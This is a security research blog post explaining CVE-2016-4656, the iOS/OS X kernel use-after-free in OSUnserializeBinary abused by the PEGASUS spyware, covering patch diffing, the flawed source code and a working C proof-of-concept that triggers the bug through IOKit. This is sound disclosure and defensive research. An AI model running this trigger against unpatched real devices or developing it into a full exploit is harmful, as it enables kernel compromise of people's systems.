PEGASUS iOS Kernel Vulnerability Explained

SektionEins has analysed Apple's iOS security patches to find out more about the kernel vulnerability CVE-2016-4656 abused by the PEGASUS iOS malware.

Intro

On 25th of August 2016 Apple released the security update iOS 9.3.5 in response to the discovery of an iOS surveillance toolkit dubbed PEGASUS. Unlike previously discovered iOS malware this toolkit was using three different iOS 0-day vulnerabilities to compromise fully patched (until the release of iOS 9.3.5) iOS devices. Unfortunately public information about these vulnerabilities is pretty thin because Citizenlab and Lookout (the parties Apple credits for the discovery) and Apple have decided to keep the public in the dark about them. Until this moment they also have not shared samples of the malware with the general public so that independent 3rd party analysis is not possible.

Because we at SektionEins believe keeping the public in the dark about details of already fixed vulnerabilities that are actively exploited in the wild is wrong, we have decided to take a look at the security patches Apple released in order to figure out the vulnerabilities abused by PEGASUS. And because we are specialised in iOS kernel questions, we only dive into the kernel vulnerability reported as CVE-2016-4656 today.

Patch Analysis

Unfortunately analysing iOS security patches is not as straight forward as one might hope for. The iOS 9 kernel is stored on devices (and in firmware files) only in encrypted format. In order to grab a copy of a decrypted kernel it is therefore required to either have a low level exploit that allows decrypting the kernel or to have a jailbreak for the iOS version in question and to dump it from kernel memory. At SektionEins we have decided to do the later and use our private jailbreak to dump the iOS 9.3.4 and iOS 9.3.5 kernels from an iOS test device in our lab. We normally use the method that was recently described by Mathew Solnik in a blog post in which he discloses that the fully decrypted iOS kernel can be dumped from physical memory with a kernel exploit.

Once dumped the two kernels have to be analysed for differences. We have used the open source binary diffing plugin Diaphora for IDA to perform this task. For our comparison we loaded the iOS 9.3.4 kernel into IDA, then waited for the autoanalysis to finish and then used Diaphora to dump the current IDA database into the SQLITE database format Diaphora uses. We repeated this process with the iOS 9.3.5 kernel and then told Diaphora to diff the two databases. The result of this comparison is visible in the following picture.

/images/diaphora1.png

Diaphora finds a few functions that have been changed by iOS 9.3.5. However most of these changes are just changes in jump targets. From the list of changed functions it becomes pretty clear that the most interesting functions seems to be OSUnserializeXML. Analysing its diff is pretty hard because the function changed a lot (due to reordering) between iOS 9.3.4 and iOS 9.3.5. However further analysis revealed that this function actually inlines another function and that finding the vulnerability is likely easier by just looking at the source code of XNU which is pretty similar to the iOS kernel. The XNU kernel for OS X 10.11.6 can be found at opensource.apple.com.

Looking into the code revealed that the inlined function is actually OSUnserializeBinary.

OSObject*
OSUnserializeXML(const char *buffer, size_t bufferSize, OSString **errorString)
{
        if (!buffer) return (0);
        if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (0);

        if (!strcmp(kOSSerializeBinarySignature, buffer)) return OSUnserializeBinary(buffer, bufferSize, errorString);

        // XML must be null terminated
        if (buffer[bufferSize - 1]) return 0;

        return OSUnserializeXML(buffer, errorString);
}

OSUnserializeBinary

OSUnserializeBinary is relatively new code added to OSUnserializeXML to handle binary serialized data. This function is therefore exposed to user input in the same way OSUnserializeXML is. This means attackers can abuse them by simply calling any IOKit API (or mach API) functions that allow serialized arguments, e.g. simple IOKit matching functions. This also means that the vulnerability can be triggered from within any sandbox used on iOS or OS X.

The source code of this new function is located in libkern/c++/OSSerializeBinary.cpp and can therefore be audited instead of trying to analyse the exact patch Apple applied. The binary format of the new serialized format is not very complex. It consists of a 32 bit identifier as header and is then followed by 32 bit aligned markers and data objects.

The following data types are supported:

  • Dictionary

  • Array

  • Set

  • Number

  • Symbol

  • String

  • Data

  • Boolean

  • Object (reference to previously deserialized object)

The binary format encodes these datatypes in the bits 24-30 of 32 bit blocks. The lower 24 bits are reserved as numeric data to e.g. store lengths or collection element counters. Bit 31 marks the last element of a collection and all other data (strings, symbols, binary data, numbers) are added four byte aligned into the datastream. See the POC listed below for an example.

Vulnerability

Spotting the vulnerability turned out to be pretty easy because it looks very similar to a use after free vulnerability in the PHP function unserialize() that was previously disclosed by SektionEins to the folks at PHP.net. The vulnerability in OSUnserialize() stems from the same cause: the deserializer can create references to previously freed objects during the deserialization.

Whenever an object is deserialized it gets added to a table of objects. The code for this looks like this:

if (!isRef)
{
        setAtIndex(objs, objsIdx, o);
        if (!ok) break;
        objsIdx++;
}

This is unsafe and the same mistake PHP did because the setAtIndex() macro does not increase reference counter of the objects remembered as you can see here:

define setAtIndex(v, idx, o)                                                                                                    \
        if (idx >= v##Capacity)                                                                                                         \
        {                                                                                                                                                       \
                uint32_t ncap = v##Capacity + 64;                                                                               \
                typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o));  \
                if (!nbuf) ok = false;                                                                                                  \
                if (v##Array)                                                                                                                   \
                {                                                                                                                                               \
                        bcopy(v##Array, nbuf, v##Capacity * sizeof(o));                                         \
                        kfree(v##Array, v##Capacity * sizeof(o));                                                       \
                }                                                                                                                                               \
                v##Array    = nbuf;                                                                                                             \
                v##Capacity = ncap;                                                                                                             \
        }                                                                                                                                                       \
        if (ok) v##Array[idx] = o;   <---- remember object WITHOUT COUNTING THE REFERENCE

Not keeping track of references inside the v##Array would not be problematic if there were no way to legally free an object during deserialization. Unfortunately at least one code path allows freeing an object during deserialization. As you can see from the code below the handling of dictionary elements supports OSSymbol and OSString keys. However in the case of OSString keys they get converted to OSSymbol followed by the destruction of the OSString object. Unfortunately at the time of the destruction the OSString object is already added to the objs object table.

if (dict)
{
        if (sym)
        {
                DEBG("%s = %s\n", sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
                if (o != dict) ok = dict->setObject(sym, o, true);
                o->release();
                sym->release();
                sym = 0;
        }
        else
        {
                sym = OSDynamicCast(OSSymbol, o);
                if (!sym && (str = OSDynamicCast(OSString, o)))
                {
                    sym = (OSSymbol *) OSSymbol::withString(str);
                    o->release();  <---- destruction of OSString object that is already in objs table
                    o = 0;
                }
                ok = (sym != 0);
        }
}

Because of this it is possible to simply use the kOSSerializeObject data type to create a reference to this already destroyed OSString object. This is a classic use after free vulnerability.

POC

After having figured out the problem we created a simple POC to trigger this vulnerability that you can see below. You can try it on OS X (because it is as vulnerable as iOS).

/*
 * Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser / SektionEins GmbH
 * compile on OS X like:
 *    gcc -arch i386 -framework IOKit -o ex exploit.c
 */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>

enum
{
  kOSSerializeDictionary   = 0x01000000U,
  kOSSerializeArray        = 0x02000000U,
  kOSSerializeSet          = 0x03000000U,
  kOSSerializeNumber       = 0x04000000U,
  kOSSerializeSymbol       = 0x08000000U,
  kOSSerializeString       = 0x09000000U,
  kOSSerializeData         = 0x0a000000U,
  kOSSerializeBoolean      = 0x0b000000U,
  kOSSerializeObject       = 0x0c000000U,
  kOSSerializeTypeMask     = 0x7F000000U,
  kOSSerializeDataMask     = 0x00FFFFFFU,
  kOSSerializeEndCollecton = 0x80000000U,
};

#define kOSSerializeBinarySignature "\323\0\0"

int main()
{
  char * data = malloc(1024);
  uint32_t * ptr = (uint32_t *) data;
  uint32_t bufpos = 0;
  mach_port_t master = 0, res;
  kern_return_t kr;

  /* create header */
  memcpy(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
  bufpos += sizeof(kOSSerializeBinarySignature);

  /* create a dictionary with 2 elements */
  *(uint32_t *)(data+bufpos) = kOSSerializeDictionary | kOSSerializeEndCollecton | 2; bufpos += 4;
  /* our key is a OSString object */
  *(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;
  *(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4;
  *(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4;
  /* our data is a simple boolean */
  *(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;
  /* now create a reference to object 1 which is the OSString object that was just freed */
  *(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;

  /* get a master port for IOKit API */
  host_get_io_master(mach_host_self(), &master);
  /* trigger the bug */
  kr = io_service_get_matching_services_bin(master, data, bufpos, &res);
  printf("kr: 0x%x\n", kr);
}

Exploitation

Because we have only just analysed the problem we have not developed an exploit for this vulnerability, yet. However we will implement a fully working exploit for this vulnerability and add it to our iOS Kernel Exploitation Training Course later this year in Berlin.

Part 2

After this blog post had been released more information surfaced. Therefore don't miss part 2.

Stefan Esser